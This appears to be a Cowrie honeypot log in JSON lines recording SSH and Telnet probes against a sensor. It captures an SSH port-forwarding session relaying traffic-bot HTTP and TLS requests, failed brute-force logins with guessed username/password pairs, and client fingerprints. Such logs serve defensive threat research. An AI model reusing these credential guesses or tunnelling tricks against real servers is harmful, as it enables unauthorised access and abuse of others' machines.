{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:19.137339Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.6.1 EdgiOS/90.0.818.49 Mobile/17G80 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TUUkcHNYP0RHN3hyQWR2KA%3D%3Dcp%2BV5Jrmzuj%2BsdMMsM%2Bh5tMfgmexva3O%2FTk8Il2G0GHI%2Be1l7B9KcW3FfZPoaN3AaJorNhtiXKtzmVUWCQdb6OsfOsn0iFHEeM%2FFUbePZjBeX3Av%2FJIS1zf2%2B%2BcNke3LQsBepQblYn3V%2BWGp8lREcPT9sTKajTSeDJczmbPlbL0O6by4VepDPRrDYlFUGfzmpRGfW1ge8DJgLw8JRlFUhIx3ZbjtejhQhFDor32GWP2y1kZ%2BElU748dwWKQYQSZA2pdNhjtyGJCGrs9NU7%2BD6RUgsLC5%2B7nSJ5da9E76hk258%2FVtky16kxUJLuCgRb5ajySTkrsxdXOqDsR1cUreeNzmwWCdSU28D0p1VW3ApvDixIqe5eDaOn01YLsuHyCX0XwiYWuCz1gRAhPJcPgqT43trSxbWd0rVYN19KwKSeM0pmUNgKJNktHcNQwCPUcf2qsltdXPuEU4nxmTBQk2wWlyid%2BzIkbXbGauMjsF%2BZUHfyrj53yqsVsn0q%2B5cVo6TGoxX4pzH7IRutumLiZ%2FqU8wOre2JXdIQA9nenLIVKXXCgPYdxN8LS7KtwLlABCKkPfUE%2B0KRJTfJZj3l89Y2%2FLxUlU6p%2F66UjwAsrXcgF1qEpDlcMo8uf6htnOGd8Xen6wIONV%2BQQufnqJx3PT7RR7oyms%2F59lzhfj57kVNgcukXJ2yBR1M%2FVbs%2F3%2F0jH%2FydfnO6ttqL0SICOFCVGAoJ73xyGzn3UxSgdTC8XYkREG8Ml%2BlQ%2Brwv1I3z07nlmLV1ZUBuHS2LcZyA%2FAPlUvT9mN6ULUaCnDAyKDWwoKwieuPOkcG%2F%2B%2Bt0mv6c0e3mOAqKKWkSQBHBYRjvCZ59M5XpSg0SIew%2BMBgD3Bo%2Fob%2BpYR3QGsV%2F88WZyvsk%2BIhq7L95YmzYmkz3hlXixwrcAU8bx4vSFxQckA4YaoU9BLJCl6Z2PrsVd2Il2qMFLRiTJOuI66MxiUAVkPqTI74eXAcwcmTlo60ClqW3wvM5j%2BG9BUqClkx%2FjDvICzc15lZKhOiZfl2zJP3vPBM%2BnIuEs722sQ6t8mbI%2FUidhRG0wC8fy4%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.6.1 EdgiOS/90.0.818.49 Mobile/17G80 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TUUkcHNYP0RHN3hyQWR2KA%3D%3Dcp%2BV5Jrmzuj%2BsdMMsM%2Bh5tMfgmexva3O%2FTk8Il2G0GHI%2Be1l7B9KcW3FfZPoaN3AaJorNhtiXKtzmVUWCQdb6OsfOsn0iFHEeM%2FFUbePZjBeX3Av%2FJIS1zf2%2B%2BcNke3LQsBepQblYn3V%2BWGp8lREcPT9sTKajTSeDJczmbPlbL0O6by4VepDPRrDYlFUGfzmpRGfW1ge8DJgLw8JRlFUhIx3ZbjtejhQhFDor32GWP2y1kZ%2BElU748dwWKQYQSZA2pdNhjtyGJCGrs9NU7%2BD6RUgsLC5%2B7nSJ5da9E76hk258%2FVtky16kxUJLuCgRb5ajySTkrsxdXOqDsR1cUreeNzmwWCdSU28D0p1VW3ApvDixIqe5eDaOn01YLsuHyCX0XwiYWuCz1gRAhPJcPgqT43trSxbWd0rVYN19KwKSeM0pmUNgKJNktHcNQwCPUcf2qsltdXPuEU4nxmTBQk2wWlyid%2BzIkbXbGauMjsF%2BZUHfyrj53yqsVsn0q%2B5cVo6TGoxX4pzH7IRutumLiZ%2FqU8wOre2JXdIQA9nenLIVKXXCgPYdxN8LS7KtwLlABCKkPfUE%2B0KRJTfJZj3l89Y2%2FLxUlU6p%2F66UjwAsrXcgF1qEpDlcMo8uf6htnOGd8Xen6wIONV%2BQQufnqJx3PT7RR7oyms%2F59lzhfj57kVNgcukXJ2yBR1M%2FVbs%2F3%2F0jH%2FydfnO6ttqL0SICOFCVGAoJ73xyGzn3UxSgdTC8XYkREG8Ml%2BlQ%2Brwv1I3z07nlmLV1ZUBuHS2LcZyA%2FAPlUvT9mN6ULUaCnDAyKDWwoKwieuPOkcG%2F%2B%2Bt0mv6c0e3mOAqKKWkSQBHBYRjvCZ59M5XpSg0SIew%2BMBgD3Bo%2Fob%2BpYR3QGsV%2F88WZyvsk%2BIhq7L95YmzYmkz3hlXixwrcAU8bx4vSFxQckA4YaoU9BLJCl6Z2PrsVd2Il2qMFLRiTJOuI66MxiUAVkPqTI74eXAcwcmTlo60ClqW3wvM5j%2BG9BUqClkx%2FjDvICzc15lZKhOiZfl2zJP3vPBM%2BnIuEs722sQ6t8mbI%2FUidhRG0wC8fy4%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:19.142574Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:19.412544Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03fu\\xba\\x99\\xdd\\xdc\\x8b+\\x11u\\x04\\xaa\\xdb\\xe6\\xe8\\xa8\\xbe7\\x16\\r\\xc5\\x81\\xdc%\\x8f\\xcc\\xdc\\xa9\\xda\\xa6;\\x82 \"\\xef\\xc8\\xa9\\xda\\x7f%\\x08\\xf1\\x94\\x9aS\\x8eV\\xd4\\xe9\\xae\\r\\x03I\\xd3\\xc6\\xf2$\\xdc\\xbe.;\\xcc?7\\xab\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1a\\xd5t\\x8f\\xca\\xaaU\\xc6\\x8e\\xcd\\xf2\\xf1\\x83f\\xb7\\x8ffy\\xe7\\xb8V\\xb5\\xd8\\r\\xce3\\x12\\tk\\xfd\\xdaV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03fu\\xba\\x99\\xdd\\xdc\\x8b+\\x11u\\x04\\xaa\\xdb\\xe6\\xe8\\xa8\\xbe7\\x16\\r\\xc5\\x81\\xdc%\\x8f\\xcc\\xdc\\xa9\\xda\\xa6;\\x82 \"\\xef\\xc8\\xa9\\xda\\x7f%\\x08\\xf1\\x94\\x9aS\\x8eV\\xd4\\xe9\\xae\\r\\x03I\\xd3\\xc6\\xf2$\\xdc\\xbe.;\\xcc?7\\xab\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1a\\xd5t\\x8f\\xca\\xaaU\\xc6\\x8e\\xcd\\xf2\\xf1\\x83f\\xb7\\x8ffy\\xe7\\xb8V\\xb5\\xd8\\r\\xce3\\x12\\tk\\xfd\\xdaV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:19.415892Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:19.963349Z","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:20.243530Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5+\\x06\\x0b(\\xbe\\xe1\\xc8\\x0e;a\\xbc\\x8aoY\\xf5U\\xfd\\xb2\\xde\\x12c\\x18\\xe9QQ\\xf1\\xf3\\x8fB|\\xa8 \\xf4\\xdf!Y\\xb5\\x15O!\\xef\\xc5s\\xf5(W\\xda\\xc5\\xdc\\xdb\\xbf\\xf86\\xaa\\xc5\\x16N\\xbc\\x0e\\xe9\\xd3\\x1e\\x11\\xb6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\xee\\x0c\\xfe\\xf3SH\\xca\\xb1o\\xe7\\x05\\xff\\xd2\\xe0>\\x80l?\\x84\\xc4\\x83\\x85\\xcd\\xcc\\xfepR\\xd9\\xaa\\x9dC\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5+\\x06\\x0b(\\xbe\\xe1\\xc8\\x0e;a\\xbc\\x8aoY\\xf5U\\xfd\\xb2\\xde\\x12c\\x18\\xe9QQ\\xf1\\xf3\\x8fB|\\xa8 \\xf4\\xdf!Y\\xb5\\x15O!\\xef\\xc5s\\xf5(W\\xda\\xc5\\xdc\\xdb\\xbf\\xf86\\xaa\\xc5\\x16N\\xbc\\x0e\\xe9\\xd3\\x1e\\x11\\xb6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\xee\\x0c\\xfe\\xf3SH\\xca\\xb1o\\xe7\\x05\\xff\\xd2\\xe0>\\x80l?\\x84\\xc4\\x83\\x85\\xcd\\xcc\\xfepR\\xd9\\xaa\\x9dC\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:20.246753Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geziru","password":"geziru","message":"login attempt [geziru/geziru] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:20.467318Z","src_ip":"91.92.40.36","session":"296bd0ff3df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:20.640816Z","src_ip":"113.164.152.20","session":"a24b670cc66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:22.384451Z","src_ip":"91.92.40.36","session":"296bd0ff3df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43440,"dst_ip":"159.203.135.109","dst_port":23,"session":"647384ed1823","protocol":"telnet","message":"New connection: 128.199.8.54:43440 (159.203.135.109:23) [session: 647384ed1823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:22.408307Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43682,"dst_ip":"159.203.135.109","dst_port":22,"session":"4214807f63d3","protocol":"ssh","message":"New connection: 91.92.40.36:43682 (159.203.135.109:22) [session: 4214807f63d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:26.186983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:26.876855Z","src_ip":"91.92.40.36","session":"4214807f63d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:27.638492Z","src_ip":"91.92.40.36","session":"4214807f63d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sallas","message":"login attempt [admin/sallas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:31.286327Z","src_ip":"91.92.40.36","session":"4214807f63d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30582,"dst_ip":"159.203.135.109","dst_port":22,"session":"349c568e6dc4","protocol":"ssh","message":"New connection: 91.92.40.36:30582 (159.203.135.109:22) [session: 349c568e6dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:33.364006Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":55353,"dst_ip":"10.17.0.5","dst_port":22,"session":"88bc00d25963","protocol":"ssh","message":"New connection: 23.175.50.47:55353 (10.17.0.5:22) [session: 88bc00d25963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:33.521536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:33.526451Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
